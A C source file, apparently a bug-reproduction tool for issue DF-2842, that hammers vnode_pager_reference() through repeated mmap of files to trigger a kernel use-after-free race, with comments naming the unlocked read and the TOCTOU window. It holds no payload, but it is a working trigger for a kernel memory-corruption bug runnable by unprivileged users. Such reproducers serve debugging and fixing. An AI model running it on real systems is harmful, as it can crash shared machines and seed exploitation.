DF-2842 / racer.c
/* * DF-2842 reproduction racer - hammers vnode_pager_reference() via mmap(). * * vnode_pager.c:203-210: * if ((object = vp->v_object) != NULL) <-- unlocked read * vm_object_reference_quick(object); <-- TOCTOU window * * The window between the two statements is the race. A concurrent * vclean()->vm_object_terminate()->vnode_pager_dealloc()->vm_object_drop() * that reaches kfree_obj() inside this window leaves us doing an * atomic_add on freed memory (ref_count of a recycled vm_object). * * This program keeps the window spinning as fast as an unprivileged * (or root, for staged demos) process can. */ #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *dir = (argc > 1) ? argv[1] : "/mnt/race"; int nfiles = (argc > 2) ? atoi(argv[2]) : 64; int nthreads = (argc > 3) ? atoi(argv[3]) : 4; int i, fd, iter; char path[512]; void *p; for (i = 0; i < nthreads - 1; i++) { pid_t pid = fork(); if (pid == 0) break; /* children fall through to loop */ if (pid < 0) perror("fork"); } iter = 0; for (;;) { for (i = 0; i < nfiles; i++) { snprintf(path, sizeof(path), "%s/f%05d", dir, i); fd = open(path, O_RDONLY); if (fd < 0) { /* mount cycled out from under us - brief pause */ usleep(200); continue; } p = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); if (p != MAP_FAILED) { /* touch to force pager activity */ (void)*(volatile char *)p; munmap(p, 4096); } close(fd); iter++; if ((iter & 0xFFFF) == 0) { fprintf(stderr, "[%d] %d iters\n", getpid(), iter); } } } return (0); } |